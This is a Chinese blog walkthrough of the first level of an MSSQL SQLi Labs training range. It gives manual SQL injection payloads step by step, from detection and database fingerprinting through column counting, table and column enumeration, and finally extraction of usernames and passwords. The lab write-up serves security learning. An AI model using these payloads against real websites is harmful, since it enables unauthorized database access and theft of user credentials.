自学内容网 自学内容网

MSSQL SQLi Labs靶场 第一关 (手工版)

一.判断是否存在注入

输入http://172.16.0.87/less-1.asp?id=1'页面异常

加上闭合点:http://172.16.0.87/less-1.asp?id=1'--+页面正常,说明存在注入

二.判断数据库类型

可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是

MSSQL;也可根据⻚⾯报错信息来判断数据库

http://172.16.0.87/less-1.asp?id=1 and exists(select * from sysobjects)--

http://172.16.0.87/less-1.asp?id=1 and exists(select count(*) from sysobjects)--

三.判断列数

输入?id=1' order by 3--+页面正常

输入?id=1' order by 4--+页面异常,说明有三列

四.判断回显位置

输入?id=-1' union select 1,2,3--+

五.查询数据库信息

输入?id=-1' union select 1,user,3; --+

下面user回显点位置是dbo最高权限

如果是⽤户的名字表示是普通权限

?id=-1' union select 1,user,is_srvrolemember('public'); --+

六.查询表名

第一张表:?id=-1'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--+

第二张表:?id=-1' and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+

第三张表:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--+

之后都加and name !='上一个查到的表的表名'

直到查不到为止。。。

七.显示字段信息

输入?id=1' having 1=1 --+

第二个字段 ?id=1' group by id having 1=1--+

第三个字段 ?id=1' group by id,username having 1=1--+

八.结果

输入?id=-1'union select 1,username,password from users--+

以上就是MSSQL SQLi Labs靶场 第一关 的手工注入...


原文地址:https://blog.csdn.net/mirliasheong/article/details/144270240

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!